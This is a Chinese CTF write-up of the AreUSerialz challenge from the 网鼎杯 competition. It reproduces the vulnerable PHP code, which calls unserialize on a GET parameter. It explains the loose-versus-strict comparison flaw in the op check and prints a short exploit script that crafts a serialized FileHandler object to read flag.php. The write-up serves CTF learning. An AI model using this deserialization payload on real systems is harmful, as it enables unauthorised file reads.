网鼎杯青龙组AreUSerialz-WP
  • 2020-07-07


网上的WP非常多,没什么别的意思,就是没事干突然想重新做一遍。

况且前几天反序列化的一些知识感觉要忘光了。特此来看看自己能解得怎么样。

白帽一百青龙组那题不是我做的,交了FLAG就完事了,现在反正空嘛,自己做一下也无妨。


题目代码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

比赛环境:PHP7.1+NGINX


环境搭建

5f03501e48bad.png


分析

没有看网上的题解,毕竟这样进步不了,那就自己分析吧。

5f03505f7fd45.png

这里提供了反序列化的点,在get参数中输入序列化的内容,并且需要绕过is_valid函数,但是is_valid函数是怎么写的呢?

5f03509c0a75e.png

这里会对序列化字符串逐个判断,返回ascii码必须大于32 小于125

5f0350e329267.png

这里看好像并没有什么,那就看看对象怎么写的吧。

找到关键的私有函数

5f03512f5e3d8.png

这里对filename进行内容获取并且返回,往上发现在另一个私有函数中调用了read()并且打印输出

5f035164ac8ec.png

5f0351a174d31.png

流程就是 process()->read()->output(),但是这里有个自动触发的析构函数 destruct()

5f035213e22fb.png

如果设置的op私有属性为2  就会转换成1,而执行process()->read()->output()的先前条件是op==2


思考

这里可以发现,在destruct这个魔法函数里  op使用的是强比较 === 而在process里使用的是弱比较 。什么意思呢?一张图告诉您。

5f0352da85adf.png

在==的条件下  1和"1"是相等的,但是在===的条件下

5f0353176c807.png

即:  设置op=2     此时  op==="2"为假  op==2为真


知道这个就可以写exp了,因为没有pop链只需要构造一个对象属性即可,同时写一个那个is_valid函数来判断生成的payload是否通过了校验

<?php


class FileHandler {

    protected $op=2;
    protected $filename="flag.php";
    protected $content="depy";

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

$s=serialize(new FileHandler());
echo $s;
var_dump(is_valid($s));


运行发现 显示isvalid为false  并没有通过is_valid校验,检查后发现  protected属性在序列化时 会产生不可见字符\00而\00的ascii码并不在is_valid所允许的范围内。

这里我只想到了一种方法,就是开发php7.1查资料的时候知道的,他对protected和public不敏感,所以exp改成public就行

于是 修改protected属性为public 重新生成。

5f0359159e9dc.png

ok直接拿这个去打 

5f035936c5098.png

5f035ae50b1cb.png


拓展

比赛环境里,直接读取flag.php是不行的,需要找apache的配置文件,这里没有完全复现比赛场景,懒得搞了

写的比较详细,给学弟学妹们一些解题的步骤,现在学完反序列化再来看这些题目确实很简单啊。